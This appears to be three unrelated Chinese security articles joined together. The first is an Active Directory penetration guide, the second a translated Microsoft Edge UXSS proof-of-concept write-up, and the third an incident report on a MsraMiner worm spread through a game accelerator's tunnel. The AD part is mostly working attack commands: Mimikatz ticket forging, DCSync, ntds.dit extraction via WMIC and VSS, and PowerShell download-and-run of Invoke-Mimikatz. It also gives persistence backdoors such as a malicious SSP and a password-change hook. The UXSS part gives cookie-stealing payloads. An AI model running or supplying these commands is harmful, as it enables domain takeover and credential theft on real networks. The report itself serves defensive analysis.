mimikatz.exe "kerberos::golden /domain:域 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:silver /ptt"
就可以访问域的cifs共享，访问其它是不行的,Silver Ticket是伪造的TGS，也就是说其范围有限，只能访问指定的服务权限
### 域服务账号破解
与上面SPN扫描类似的原理
<https://github.com/nidem/kerberoast>
获取所有用作SPN的帐户
setspn -T PENTEST.com -Q */*
从Mimikatz的ram中提取获得的门票
kerberos::list /export
用rgsrepcrack破解
tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
没复现成功
### 凭证盗窃
最常用的手法域管理登录历史记录,记得获取某边界权限一个然后抓取hash并没有域管理的,可能是搞的动静有点大,管理员第二天上去把马给清除了,还好留了有后门再次抓取hash直接获取到域管理员。
大多数Active
Directory管理员使用用户帐户登录到其工作站，然后使用RunAs（将其管理凭据放置在本地工作站上）或RDP连接到服务器运行Mimikatz
读取密码，收集密码尝试登录管理员机器一般只要域管理员登录过的机器抓取都可以获取域控了
防： 管理员不应该拿着域用户去登录web服务器或者邮件服务器一但这些被攻破抓取的密码就是域了
### ARP
最后才是ARP欺骗不到最后不要拿出来。
Responder
cain
ettercap
BDFProxy
## 获取AD Hash
[攻击者如何转储Active Directory数据库](https://adsecurity.org/?p=2398)
活动目录数据库（ntds.dit）
Active
Directory域数据库存储在ntds.dit文件中（默认存储在c:WindowsNTDS中,AD数据库是Jet数据库引擎，它使用提供数据存储和索引服务的可扩展存储引擎（ESE）ESE级索引使对象属性可以快速定位。ESE确保数据库符合ACID（原子性，一致性，隔离性和持久性）
– 交易中的所有操作完成或不执行。AD ESE数据库非常快速和可靠。
[目录分区](https://technet.microsoft.com/en-us/library/cc961591.aspx)
ntds.dit文件由三个主表组成：数据表，链接表和SD表。
具体详细资料查看:
<https://technet.microsoft.com/en-us/library/cc772829(v=ws.10).aspx>
### 使用VSS卷影副本
什么是卷影副本?
卷影副本，也称为快照，是存储在 Data Protection Manager (DPM)
服务器上的副本的时间点副本。副本是文件服务器上单个卷的受保护共享、文件夹和文件的完整时间点副本。
支持操作系统：
Windows Server 2003, Windows Server 2008, Windows Server 2003 R2, Windows
Server 2008 R2, Windows Server 2012, Windows 8
通常拿下一台服务器时准备内网渗透，需要传你的工具到目标机器中，而且是长久渗透的这种，为了不被发现！获取系统SAM文件等
使用VSS卷影副本（通过WMI或PowerShell远程处理）远程提取ntds.dit
Windows有一个名为WMI的内置管理组件，支持远程执行（需要管理员权限）。WMIC是在远程计算机上执行命令的WMI命令工具。
利用WMIC（或PowerShell远程处理）创建（或复制现有的）VSS。
wmic /node:AD /user:PENTESTAdministrator /password:123qweQWE!@# process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log"
查看vss.log
wmic /node:AD /user:PENTESTadministrator /password:123qwe!@#!@# process call create "cmd /c copy 卷影IDWindowsNTDSNTDS.dit C:windowstempNTDS.dit 2>&1"
wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create "cmd /c copy 卷影IDWindowsSystem32configSYSTEM c:windowstempSYSTEM.hive 2>&1"
net use k: \pentest.comc$
利用这种方法可以和上面的Kerberos票结合来实现
使用DIT Snapshot Viewer可以验证我们是否成功地获得了ntds.dit文件。
https://github.com/yosqueoy/ditsnap
### NTDSUtil获取ntds.dit文件
Ntdsutil.exe是一个为Active Directory提供管理设施的命令行工具。
使用NTDSUTIL的IFM创建（VSS卷影副本）在DC上本地引用ntds.dit
NTDSUtil是本地处理AD
DB的命令实用程序（ntds.dit），并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个DC复制域数据。
ntdsutil "ac i ntds" "ifm" "create full c:temp" q q
当创建一个IFM时，VSS快照被拍摄，挂载，ntds.dit文件和相关数据被复制到目标文件夹中。
此命令也可以通过WMI或PowerShell远程执行。
### PowerShell提取ntds.dit
使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit（需要在目标DC上启用PowerShell远程处理功能）。
Invoke-NinaCopy是一个PowerShell函数，它可以利用PowerShell远程处理（必须在目标DC上启用PowerShell远程处理），从远程计算机上复制文件（即使文件已锁定，可直接访问文件）。
<https://github.com/PowerShellMafia/PowerSploit>
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1'); Invoke-NinjaCopy -Path "C:windowsntdsntds.dit" -ComputerName "AD" -LocalDestination "C:tempntds.dit"
### 使用Mimikatz提取
使用Mimikatz在提取Active Directory hash
mimikatz lsadump::lsa /inject exit
使用RID 502的帐户是KRBTGT帐户，使用RID 500的帐户是域的默认管理员。
获取对Active Directory数据库文件的访问权限（ntds.dit）
Active Directory数据库（ntds.dit）包含有关Active Directory域中所有对象的所有信息
该文件还包含所有域用户和计算机帐户的密码哈希值。
有时候域控升级等会把ntds.dit备份文件可从共享服务器中找到可以不用直接从域控制复制
使用Mimikatz转储LSASS内存
sekurlsa::minidump c:templsass.dmp
使用任务管理器（获取域管理员凭据）转储LSASS内存
### 使用PowerShell Mimikatz
使用PowerShell
域必需要能上网否则这方法不可用
powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit'
无程获取
Powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command ‘”privilege::debug” “LSADump:LSA /inject”‘ -Computer pentest.com
### Mimikatz的DCSync
使用Mimikatz的DCSync 远程转储Active Directory凭证
它有效地”模拟”域控制器并向目标域控制器请求帐户密码数据。
使用Mimikatz的DCSync和相应的权限，攻击者可以通过网络从域控制器中提取密码散列以及以前的密码散列，而无需交互式登录或复制Active
Directory数据库文件（ntds.dit）
运行DCSync需要特殊权限。管理员，域管理员或企业管理员以及域控制器计算机帐户的任何成员都能够运行DCSync来提取密码数据。请注意，只读域控制器不仅可以默认为用户提取密码数据。
提取 KRBTGT用户帐户的密码数据：
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user：krbtgt"exit
管理员用户帐户提取密码数据：
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user：Administrator" exit
### NTDS.dit中提取哈希
从NTDS.dit中提取哈希
提取出来的文件通过ntdsdump是无法提取的通过esedbexport来恢复。
安装：
wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz`
apt-get install autoconf automake autopoint libtool pkg-config
./configure
make
make install
ldconfig
esedbexport -m tables ntds.dit
大概需要(20-30分钟)
最后生成在./ntds.dit.export/
使用ntdsxtract提取域信息
git clone https://github.com/csababarta/ntdsxtract.git
python setup.py build && python setup.py install
提取hash: (这里需要将刚拷出来的三个文件中的system复制到当前目录下)
$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt
这样提取出来之后已经是转换成hashcat可破解的格式
hashcat -m 1000 ntout ./password.txt
## AD持久化
### 活动目录持久性技巧
<https://adsecurity.org/?p=1929>
[DS恢复模式密码维护](https://blogs.technet.microsoft.com/askds/2009/03/11/ds-restore-mode-password-maintenance/)
### DSRM密码同步
DSRM密码同步将域控权限持久化
获取到域控权限后如何利用DSRM密码同步将域管权限持久化。
Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步，Windows Server 2003不支持DSRM密码同步。
KB961320
<https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni>
巧用DSRM密码同步将域控权限持久化
<http://drops.xmd5.com/static/drops/tips-9297.html>
同步之后使用法国佬神器（mimikatz）查看krbtgt用户和SAM中Administrator的NTLM值。
可以看到两个账户的NTLM值相同，说明确实同步成功
修改注册表允许DSRM账户远程访问
修改注册表 hkey_local_machineSystemCurrentControlSetControlLsa 路径下的
DSRMAdminLogonBehavior 的值为2。
系统默认不存在DSRMAdminLogonBehavior，请手动添加。
使用HASH远程登录域控
DSRM账户是域控的本地管理员账户，并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。
事件查看器的安全事件中筛选事件ID为4794的事件日志，来判断域管是否经常进行DSRM密码同步操作。
### 缓解措施
对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时，确保注册表DsrmAdminLogonBehavior的值不为2，最好将其直接删除或者设置其值为1或0。
### Security Support Provider
<https://adsecurity.org/?p=1760>
<http://www.evil0x.com/posts/11354.html>
直译为安全支持提供者 又名Security Package.
简单的理解为SSP就是一个DLL，用来实现身份认证
将mimilib.dll复制到域控c:/windows/system32下
设置SSP
修改域控注册表位置：
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
Memory Updating of SSPs
privilege::debug
misc::memssp
这样就不需要重启
c:/windows/system32可看到新生成的文件kiwissp.log
如果不是在域环境下生成的文件会在 system32mimilsa.log
防：
检测注册表位置：
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
检测%windir%/System32是否有可疑dll
### SID历史
<https://adsecurity.org/?p=1772>
SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户
mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"
### AdminSDHolder＆SDProp
利用AdminSDHolder＆SDProp（重新）获取域管理权限
<https://adsecurity.org/?p=1906>
AdminSDHolder是位于Active Directory中的系统分区
## 组策略
<https://adsecurity.org/?p=2716>
[策略对象在持久化及横向渗透中的应用](https://www.anquanke.com/post/id/86531)
### 组策略概述
组策略使管理员能够管理Active Directory中的计算机和用户。组策略保存为组策略对象（GPO）
攻击者可以滥用GPO，通过欺诈方式进一步自动化地传播恶意软件、实现持久化驻留目的
恶意软件可以利用GPO穿越IDS/IPS等防火墙，最终访问到域内所有的系统。
GPO的另一优点就是攻击过程期间并不需要目标系统在线，一旦离线状态下的目标系统重新登录到域中，恶意的GPO载荷就会被投递到目标系统。
组策略默认情况下每90分钟（域控制器5分钟）可包括安全选项，注册表项，软件安装以及启动和关闭脚本以及域成员刷新组策略设置。这意味着组策略在目标计算机上执行配置的设置。
SYSVOL是所有经过身份验证的用户具有读取权限的Active
Directory中的域范围共享。SYSVOL包含登录脚本，组策略数据以及其他域控制器中需要使用的全域数据。
SYSVOL共享将自动同步并在所有域控制器之间共享。
其实我认为组策略也相当于远控,可以把配置脚本让域内的每一台电脑都种上马批量执行一遍。
或者每周在所有域上运行Mimikatz获取明文密码,以及获取某种类型文件这要通过编写脚本实现。
远程搜索某个本地文件（如proof.txt）
Get-Content <list of IPs> | ForEach-Object {Getwmiobject CIM_DataFile -filter »Drive=’c:’ AND Filename=’proof’ AND extension=’txt’ -Impersonate 3 -computername $_ | Select PSComputername, Name -Unique}
[一篇文章精通PowerShell Empire 2.3（上）](https://www.anquanke.com/post/id/87328)
防：
定期审核GPO。
为GPO使用定义清晰的命名约定
记录GPO的创建动作
### Hook PasswordChangeNotify
<http://wooyun.jozxing.cc/static/drops/tips-13079.html>
介绍一个更加隐蔽且不需要使用Mimikatz的后门方法，通过Hook PasswordChangeNotify拦截修改的帐户密码。
在修改域控密码时会进行如下同步操作：
a. 当修改域控密码时，LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求
b. 如果符合，LSA接着调用PasswordChangeNotify在系统上同步更新密码
函数PasswordChangeNotify存在于rassfm.dll
poc下载地址：
<https://github.com/clymb3r/Misc-Windows-Hacking>
使用VS2015开发环境，MFC设置为在静态库中使用MFC
编译工程，生成HookPasswordChange.dll
下载Powershell的dll注入脚本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
在代码尾部添加如下代码：
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass
并命名为HookPasswordChangeNotify.ps1
上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll
管理员权限执行：
PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1
将获取到的密码上传到http服务器:
<http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html>
## Other
* [Kerberos AD 认证过程](https://adsecurity.org/?p=227)
* [Kerberos & KRBTGT帐号介绍](http://adsecurity.org/?p=483)
* [lapsg理解](https://adsecurity.org/?p=1790)
* [Active Directory攻击和防御资源](https://adsecurity.org/?p=1681)
* [烂土豆 – 从服务帐户到系统的特权升级](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)
* [Mimikatz 非官方文档](https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords)
* [linux/UNIX/BSD 的后期渗透思路](http://bit.ly/pqJxA5)
* [Metasploit 的后期渗透思路](http://bit.ly/JpJ1TR)
文章难免有些地方会错请指证，或者有哪类内网渗透各种技巧可以发给我 qq 604865997，到时候我将会整理成书籍印出来免费送一本。 | 社区文章 |
原文链接：[UXSS on Microsoft Edge – Adventures in a Domainless World
（无域世界大冒险）](https://www.brokenbrowser.com/uxss-edge-domainless-world/)
原作者：[Manuel Caballero](https://twitter.com/magicmac2000)
译： **Holic (知道创宇404安全实验室)**
注：相关文件可[在此下载](http://paper.seebug.org/papers/Archive/EdgeUXXDomainless.zip)。
今天，我们来讨论设计上的问题，配合这些问题，我们最终在 Microsoft Edge
浏览器上实现了通用跨站脚本攻击（UXSS）。如果你不是安全研究员，但还是想了解此漏洞，你可以这样理解：访问恶意网页，攻击者就能读取你的
Cookie，更改客户端的网页内容，获取个人信息等。此外，由于 Microsoft Edge 使用
受保护的[内部资源](https://www.brokenbrowser.com/spoof-addressbar-malware/)执行特殊操作，攻击者可能会访问这些资源，并可能设置 Edge 的配置选项，打开 IE 等。
我们有段[视频](http://paper.seebug.org/papers/Archive/media/uxss1.html)展示了针对 bing
cookie 的攻击，[另一段视频](http://paper.seebug.org/papers/Archive/media/uxss2.html)显示
nature.com 的内容。但请记住，这些网站本身没有任何问题：而该漏洞来自 Microsoft Edge 浏览器。下面我们来看看这是怎么做到的。
### Domainless World
about:blank 是个非常特殊的 URL，有时会使人感到困惑，不知道属于哪里。思考一下：如果我们位于
**www.magicmac.com/dom/index.html** ，document.domain 显然是 **www.magicmac.com**
，但是 about:blank 的域属于什么呢？这就视情况而定了。理论上，它应该匹配 referrer 的域，即设置其网址的网页。例如，如果我们在
www.magicmac.com 点击一个 about:blank 链接，那么该 about:blank 就将 www.magicmac.com
作为它的域。
另一个例子是 iframe，其来源指向 about:blank，或者根本没有源（浏览器默认为 about:blank）。
所以，从 goodfellas.com 加载 about:blank 看起来和从 evil.com 加载差不多，因为两个 URL 是相同的，但他们有不同的
document.domain ，所以它们之间 **不能互相访问** 。
那么问题来了：我们手动输入到地址栏中的 about:blank 的域是什么？要的就是这个！答案如此重要，所以我把 Devtools 放大了看。
是空的，如我们所见，它有巨大的力量，但是为了确保我们是在同一页面，我们调用一个没有域的“无域名”（domainless）和“有域”的（domained）的
URL，链接至有 document.domain 的网站。
Bug hunter，本篇文章以下便是重要的东西了。
### “A domainless about:blank is capable of accessing any domained
about:blank”
（无域的 about:blank 能够访问任何有域的 about:blank）
换句话说，一个无域的 about:blank 可以无限制访问有域的 about:blank 。我们在此投机取巧，直接在调试控制台操作，快速添加一个
bing.com 的 iframe 到这个页面。
document.body.innerHTML = '<iframe src="http://www.bing.com/images/search?q=microsoft+edge"></iframe>'
很好！我们在顶层无域的 blank 中有一个 bing.com 的 frame，但是我们的目标是找到 bing 中的一个空白的
iframe，如我所述，一个无域的 blank (main windows）将能够访问任何有域的 blank（bing.com 中的 iframe）。
这种情况下很容易实现，因为我们使用的 bing.com 已经有 blank 的 iframe
了。但让我们继续尝试一下吧！即使来自调试器，下面的这条指令通常拒绝访问，但由于页面的顶层是无域的，它可以运行。那么让我们来一探究竟！
window[0][0].location.href = "javascript:alert(parent.document.domain)";
Bang！我知道这不会深入你脑海，因为我们是从 DevTool
获得了结果，对吧？但是对我来说，这是我所做的最重要的事情，因为如果我们能够掌握这一理念，接下来发现新的 UXSS
将在一定程度上变得轻松不少。从现在起，每找到一种访问无域的 blank 的方法（一般是 about:blank ，但我们也可以用其他的），我们将得到一个
UXSS。现在是使用 DevTools 的情况，我想确认一下我们完全了解所正在做的，当然我们不需要 DevTools。
### 独立 PoC， 无须 DevTools
现在来动真格的吧。我们需要找到一种方法，创建一个可以从普通网页访问的无域网站，更快的方法是使用 data: URI 而不是 about:blank
。同理，至少协议不同。而如果我们在 iframe 内部加载 data: URI ，则其域将与其引用的域相同（就像我们在开头看到的 about:blank
一样），而且如果尝试在顶层加载 data:uri 的数据，Edge 会拒绝将我们送至错误页面。
然而，我们有几个小技巧，可以做到获取无域数据的 data:uri ，现在我们来探索 Flash 版的 PoC，因为它及其简单。事实上，我从 2005
年以来一直在使用这个 Flash，它只设置了一个来自查询字符串的 URL，赶快利用它！
<iframe src="geturl.swf?target=_top&redir=data:,[html/script goes here]"></iframe>
看到了吗？仅需将你想加载的 URL 添加到 **redir** 参数中即可。在这种情况下，我们使用了一个 data:uri
，并将其加载在无域的顶层。此外，为了欺骗 Edge 浏览器，我们需要在 iframe 内部加载 swf ，否则将无法达成效果（错误页面）。你可以自己试一下。
顺便说一下，别忘了我们可以找到实现同样效果的替代品。我刚刚使用它是因为它是首先被发现的，Adobe 的人可能会将 data:uri 列入黑名单，以便帮助我的
@Edge 朋友摆脱此 bug。然而，有很多方法实现相同的事情而无需 flash 文件。提出你自己的想法，找到自己的方式！
OK，现在我们在无域的窗口中，我们可以注入一个指向 bing.com 的 iframe，但是 Edge 处于不能正确渲染页面元素的状态。如果我们尝试使用
createElement/insertAdjacentHtml/etc 它将不能生效。我的意思是，Edge 会绘制一个“死”的
iframe，就像没有引擎的汽车一样：它根本无法正常运行。为了解决此难题，我们使用 document.write
写入自身，强制浏览器再次进行渲染。而且因为我们在无域的 URL 中，document.write 将使我们完全位于同一地址/域之中。
document.write('<iframe src="http://www.bing.com/images"></iframe>');
完美！现在我们可以访问 bing 的空白 iframe，但是记得我们这回属于比较幸运，因为并不是所有的站点里面都会有 “free blank
iframes”。
window[0][0].location.href = "javascript:alert(parent.document.cookie)";
**[MS Edge 的线上 PoC 在此](http://unsafe.cracking.com.ar/demos/edge-domainless-uxss/bing/index.html)**
我很兴奋，这次在没有 DevTools 的情况下利用生效了。Oh，no，我知道你在想什么，多疑的 bug hunter:Bing 白白给我们提供了一对空的
iframe，这太简单了！是的，但我只是稍微庆祝一下！从现在开始我会叫你 killjoy!不再是 “bug hunter”。?
我们继续，killjoy。我知道网站不会喜欢给我们提供空 iframe 的主意，所以我们需要找到自己的方式。
### Owning non-cooperative sites
拿下非合作站点
想想一下，我们在第二步顶层是无域的 data: ，而我们的 iframe 正确呈现，但指向 nature.com 而不是 bing.com （因为
nature 有一个非空的 iframe）。如果我们尝试更改 iframe 的地址，Edge 会拒绝打开一个新窗口。换句话说，这种事情是无效的。
// We are inside a domainless data: so Edge will open a new
// window instead of changing nature-iframe's location
window[0][0].location.href = "about:blank";
这不会生效的。也行它可以绕过，但我已经进行了足够的尝试。这是在无域的情况下发生的问题，因此我们可以打开一个带有真实 URL
的新窗口，然后从那里再进行处理。这正是我们将要做的：
1. 打开一个内有 nature.com iframe 的新窗口。[现在我们在新窗口里面有了一个常规 URL]
2. 将 nature 的内部 iframe 的地址更改为 about:blank ，这样我们可以给它一个名称。是的我们希望 iframe 有一个名称。
3. 将名称设为 about:blank，那么我们的无域 opener 就能通过 window.open 访问到它了。别忘了我们现在窗口内有一个常规的 URL，它是我们强大的 opener。我们将向这个 iframe 命名，就像这样：window.name = "DAVID_COPPERFIELD" ，以纪念这位继续带着激情学习的魔术师。
4. 现在我们应该将 about:blank （属于我们的域）的地址设置为 nature 的地址。为此，我们将使用 meta-refresh 将地址更改为 about:blank 。轻而易举。这个技巧确保 about:blank 恢复至其父域的域。
5. 让 opener 知道一切就绪，所以它可以访问了，就像这样：`window.open(“javascript:alert(document.domain)”, “DAVID_COPPERFIELD”);`
**[MS Edge 的线上 PoC 在此](http://unsafe.cracking.com.ar/demos/edge-domainless-uxss/nature/index.html)**
再次享受，但这次在房子里欢呼雀跃。Yes！Opsss，我的妻子问我发现了什么。她明白这些尖叫意味着什么。?
killjoy 先生，我们又做到了。PoC
是交互式的，因此我们可以实时了解我们正在做什么，但请阅读代码的具体细节，我确定有改进的余地。如果你提出这些想法，那么你很可能会发现能够实现类似事情的变通方法。研究，学习，学到了！很有趣。
在没有 Flash 的情况下，你能找到自己的方法设置无域 URL 的方法吗？是的，你可以的。此外，只要有我们在此一起探讨代码，我们可以创建多种多样的
UXSS 场景，比如在 iframe 访问其顶层。那可能吗？假设我是由 Facebook
呈现的横幅广告。可不可以访问我们的顶层，并获取就像用户好友列表这样的东西？当然！访问不喜欢在框架中呈现的 XFO 站点怎么办？iframe 是唯一能够呈现
HTML 元素的吗？最后， **完全没有** iframe 的网站又怎么办？我给你保证，我们甚至能够接触到编制这些代码的人。坐下来探索一下吧！[
**这里有你需要的文件**](http://paper.seebug.org/papers/Archive/EdgeUXXDomainless.zip)。
Have a nice day! [Manuel](https://twitter.com/magicmac2000).
* * * | 社区文章 |
# 利用网游加速器隧道传播挖矿蠕虫事件分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2017底至2018年初，最火爆的游戏是“吃鸡”，最受关注的互联网技术则是区块链。这两个热门话题在各自领域内承担流量和关注指数，相互之间基本没有联系。然而2018年5月某一天，360
MeshFire Team在日常安全运营中发现了两者之间的偶发关联，也发现了攻击者在两个热门话题之间新攻击手法的尝试。
2018年5月，安全分析人员在日常运营工作中发现了针对测试环境的永恒之蓝漏洞攻击，经过对网络协议还原和主机的溯源分析，发现攻击原始流量来源于一款网游加速器的加速节点，进一步分析，我们认为，
**这是一起攻击者通过控制吃鸡游戏玩家广泛使用的某游戏加速器加速节点，利用终端电脑与加速节点构建的GRE隧道发动永恒之蓝攻击，传播挖矿蠕虫的供应链攻击事件。**
鉴于加速器软件常常在终端杀软的白名单列表中，GRE隧道流量也因为NIDS可能无法完整进行协议识别而容易绕过传统的IDS监测的现状，攻击者构造的攻击环境是非常隐蔽的。由于国内“吃鸡”庞大的玩家群体和他们对加速器的硬性需求，也使得通过控制加速节点完成攻击活动这种方式不仅隐蔽而且便于传播，对潜在终端用户造成较大的威胁。我们希望基于捕获到的公开样本和数据，还原攻击事件的监测和分析过程，帮助更多的企业防御者以借鉴和排查这种基于网游加速器隧道攻击的手法，并根据自身对各种加速器软件的调研结果，协助加速服务商和更多个人用户排除威胁。
## 事件概述
2018年5月17日，安全分析人员在团队自研的宙合大数据威胁检测平台产生的告警，但流量源目IP并不属于公司IP规划范围，IP显示的为10.2.93.0/24的内网网段。通过进一步分析网络协议的解析字段，我们确认该告警是隧道内的两端IP地址，并由此定位到隧道外真实的物理地址，告警流量IP异常情况的出现是因为早些时候内网的主机和外网IP地址106.3.xxx.18建立了GRE隧道。
通过对相应的主机进行实地取证和流量日志回溯，发现早在3月28日，该内网主机和外网IP建立VPN连接的记录。结合应用程序安装记录，锁定了一个游戏加速软件。
打开加速器，运行程序，加速节点选择吃鸡亚服节点，监控程序和流量，发现加速器建立GRE隧道，连接VPN，并在当日晚23点前后发现了永恒之蓝的攻击数据包的行为。由于该主机已修复ms17-010漏洞，所以攻击者未能成功入侵，也没有发生内网横向移动的情况出现（后续选择了其他的加速节点，发现隧道建立的IP为同一地址）。
为了捕获攻击载荷，我们在网络隔离区域搭建了一台未修复ms17-010漏洞的主机。通过安装加速器并开启加速模式，我们捕获到了攻击载荷。
通过对样本进行行为分析，最终确定，攻击者通过GRE隧道传递而来的，是一个利用NSA永恒之蓝漏洞利用工具包进行传播的挖矿蠕虫。对样本特点和行为进行关联分析，我们认为，此次捕获的样本应当属于MsraMiner家族，是一个利用永恒之蓝漏洞进行传播挖矿蠕虫家族。根据360安全研究院对该家族早期版本的梳理，以及样本的时间戳等信息，我们认为样本应该是一个较新的变种。
## 样本分析
### 一． Spoolsv.exe
文件名称: spoolsv.exe
文件大小: 396 KB (406,016 字节)
文件时间: 2009-07-14 09:14:41
时 间 戳: 5AEA7D64->2018-05-03 11:09:24
文件 MD5: F4086A395A13D689E5FF98E4D447589B
Spoolsv.exe的主要功能有：释放永恒之蓝漏洞利用工具套件和DoublePulsar后门，并启动相应工具，同时获取终端内网地址，扫描内网，确定新的感染目标。下图为Spoolsv.exe的核心代码：
样本首先会创建一个名为“F5175396-40C2-0218-278D6EE”的互斥量，保证唯一实例运行。然后会创建多个线程，完成主要功能。经过分析，其主要功能如下：
1. 释放自身资源，并命名为Crypt。然后将Crypt解压到C://Windows/SpeechTracing/Windows目录当中，并删除Crypt文件。经过分析，发现解压后的文件为NSA ToolKit。
1. 获取主机地址，并对内网进行445端口扫描，将扫描结果添加到svchost.xml配置文件当中。
2. 向task.attendecr.com发起 post请求。
1. 运行svchost.exe（永恒之蓝工具包），输出信息到stage1.txt中。
svchost.exe的主要功能是根据配置文件对同网段进行永恒之蓝攻击，如果成功攻击目标则会将同目录下的x86.dll或x64.dll作为攻击载荷在目标主机上运行。
### 二． X86.dll
文件名称: X86.dll
文件大小: 139 KB (142,336 字节)
文件时间: 2018-06-08 15:40:30
时 间 戳: 5AEA7D72->2018-05-03 11:09:38
文件 MD5: 1EDF2E54A7B0A4F7E3DCD49D4DE21415
通过对dll文件进行分析，这个文件的主要功能是在新的感染主机上通过socket监听端口，接受已感染主机发送的文件，解密保存为payload并通过注册服务的方式启动。具体行为如下：
1.为svchost创建计划任务。
2.接受服务端传输的文件，并解密成为wmassrv.dll，移动至C:WindowsSystem32位置下。
3.为wmassrv.dll创建服务，完成wmassrv.dll的持久化。
服务创建结果如下：
### 三． Wmassrv.dll
文件名称: wmassrv.dll
文件大小: 313 KB (321,024 字节)
文件时间: 2009-07-14 09:14:41
时 间 戳: 5AEAB439->2018-05-03 15:03:21
文件 MD5: C560BE5FD3882A133E233239FCBF713A
经过分析，wmassrv.dll即为在主机上完成攻击行为的payload。它的核心代码如下所示：
主要行为有：
1.创建线程，首先开启自身服务：
然后获取调试权限。
创建并在配置文件写一个“+”，并修改配置文件的时间和系统文件时间相吻合。
2.配置信息部署完毕后，会删除之前版本的服务项。从一定程度上来说，服务项信息表明了这个恶意代码家族版本的迭代过程。
通过创建schtasks.exe进程的方式删除服务，代码如下所示：
通过创建互斥量的方式检查主机上是否有低版本payload运行：互斥量信息如下所示：
"{E2088B81F-2A96-43E8-B9F522B}"
"{5EC0AC33D-E23D-C8A2-A92C833}"
"{CI59C45E-F19A-Z07C-565B17CO}"
"{6B2089804-F412-CB72-7C027E6}"
"{3EC1AC33D-E55D-C8A2-A92C822}"
"{N33821F9E-F215-34AA-721269D}"
"{F86E2D648-EF7B-6054-D43FC41}"
3.回连域名：每隔1800s会连接两个地址，猜测行为应该是更新版本。
4.接受服务器指令，执行相应动作：
Payload会回连C2 tecate.traduires.com，并根据返回的指令完成相应动作。
由于回连地址已经失效，所以无法准确对后续的样本进行下载和调试。
5.读取自身资源，然后写入到spoolsv.exe当中。
在修改文件时间后，启动进程。
6.监控任务管理器，当任务管理器开启时，关闭进程。
7.启动mongoose
web服务，监听63257端口用于传输EnrollCertXaml.dll，后者会在由NSA工具包感染的主机上被解密为wmassrv.dll。
8.拼接参数m -o santa.inseription.com:443 -u santa1 -p x -t 1 —donate-level=1
–nicehash，并带参数创建TasksHostServices.exe
对该文件进行分析，结果表明：TasksHostServices.exe是由开源挖矿工具xmrig生成的。
## 样本传播情况
通过360核心安全的样本数据平台的数据分析和关联；我们发现该加速器的市场占有率和日活都非常之高，确实会造成较大范围的影响：
1. 加速器活跃用户情况
5-6月共发现该加速器新增用户6385个；
该加速器历史安装用户数761,661个。
2. 主要攻击载荷wmassrv.dll传播情况：
上图为360海姆达尔系统记录的2018年5月3日以来样本的查杀和传播记录。一个多月的时间，共发现样本云查杀194646次，来自于99907个终端。结合下安全卫士的查杀情况，说明安全卫士可以防御该样本的感染。
单从数据来看，样本感染量似乎并不太多，分析主要是有以下原因造成的：
3. 距离影子经纪人公开NSA永恒之蓝利用套件，已一年有余，在wannacry勒索软件爆发之后，更多用户针对该漏洞做了系统修复；
4. 游戏加速器的使用群体，相对于整个互联网来说，是个小数目，且加速器市场并没有出现垄断现象，单靠一个加速服务节点完成大范围传播，有一定难度。
5. 样本是依靠永恒之蓝工具套件完成蠕虫的传播行为的，从目前分析来看，初始的spoolsv.exe只扫描内网，并不随机生成IP地址进行扫描。且由于该加速器会在主机上创建虚拟网卡，样本大概率获取的IP为隧道IP，而非真实的内网IP，当这种情况出现的时候，样本只会扫描隧道IP网段，这样扫描是必然不会有结果的。
## 总结
**报告公开前，我们已通知加速器服务商，并提出安全排查建议。**
本次事件是我们在安全运营过程中首次发现攻击者通过控制网游加速器节点建立的隐蔽隧道来传播恶意代码的事件。虽然前段时间有研究人员对类似行为的样本进行过分析，但是由于其传播方法和思路的罕见性，我们决定公开事件的分析过程。我们分析人员也对其他类似的网游常用的加速软件进行取证和测试，测试对象为目前吃鸡游戏的主流加速器。结果表明，除本次发现的加速器软件外，未发现其他加速器的加速节点被攻击者控制，传播MsraMiner家族的样本的情况。
